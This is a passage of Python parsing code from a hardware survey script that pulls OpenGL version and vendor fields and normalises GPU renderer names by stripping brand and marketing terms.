gl_vendor.strip('"') return gl_vendor.split(' ')[0].strip() if fieldName == 'OpenGL Version': gl_version = getField(entry, ' GL_VERSION') re_gl_version = re.compile(r'^"([0-9]+)[.]([0-9]+).*') match = re_gl_version.match(gl_version) if match: # pprint.pprint(match.groups()) gl_version_digits = match.group(1) + '.' + match.group(2) # print gl_version_digits return gl_version_digits else: return "unknown" if fieldName == 'xGPU': gpu_string = getField(entry, ' GL_RENDERER') gpu_string = gpu_string.lower() gpu_string = gpu_string.replace( '"', "" ) # truncate at first slash which usally has PCI details gpu_string = gpu_string.partition(r'/')[0] gpu_string = gpu_string.replace( "nvidia", "" ) gpu_string = gpu_string.replace( "asus", "" ) gpu_string = gpu_string.replace( "sapphire", "" ) gpu_string = gpu_string.replace( "diamond", "" ) gpu_string = gpu_string.replace( "visiontek", "" ) gpu_string = gpu_string.replace( "opengl", "" ) gpu_string = gpu_string.replace( "engine", "" ) gpu_string = gpu_string.replace( "series", "" ) gpu_string = gpu_string.replace( "ati", "" ) gpu_string = gpu_string.replace( "amd", "" ) gpu_string = gpu_string.replace( "mobility", "" ) gpu_string = gpu_string.replace( "graphics", "" ) gpu_string = gpu_string.replace( " pro", "" ) gpu_string = gpu_string.replace( " xt", "" ) gpu_string = gpu_string.replace( " gtx", "" ) gpu_string = gpu_string.replace( " gts", "" ) gpu_string = gpu_string.replace( " gt", "" ) gpu_string = gpu_string.replace( " gs", "" ) gpu_string = gpu_string.replace( " agp", "" ) gpu_string = gpu_string.replace( "ultra", "" ) gpu_string = gpu_string.replace( "x86", "" ) gpu_string = gpu_string.replace( "(r)", "" ) gpu_string = gpu_string.replace( "(tm)", "" ) gpu_string = gpu_string.replace( "pci", "" ) gpu_string = gpu_string.replace( "ddr", "" ) gpu_string = gpu_string.replace( "sse2", "" ) gpu_string = gpu_string.replace( "sse", "" ) gpu_string = gpu_string.replace( "(microsoft corporon - wddm)", "" ) pieces = gpu_string.split(' ') gpu_string = ' '.join(pieces) gpu_string = gpu_string.strip() return gpu_string if fieldName == 'GPU-mac' or fieldName == 'GPU Detail Mac': os = getField(entry, 'Operating System').lower() if os.startswith("os x"): return getField(entry, 'xGPU') return '<<discard>>' # so we throw away non mac cards try: index = entry.index(fieldName) + offset except ValueError: raise FieldNotFound() return entry[index] result = entry[index] if isContinuation and result[-1] != '"': result = result + ',' + getField(entry, result, True) return result;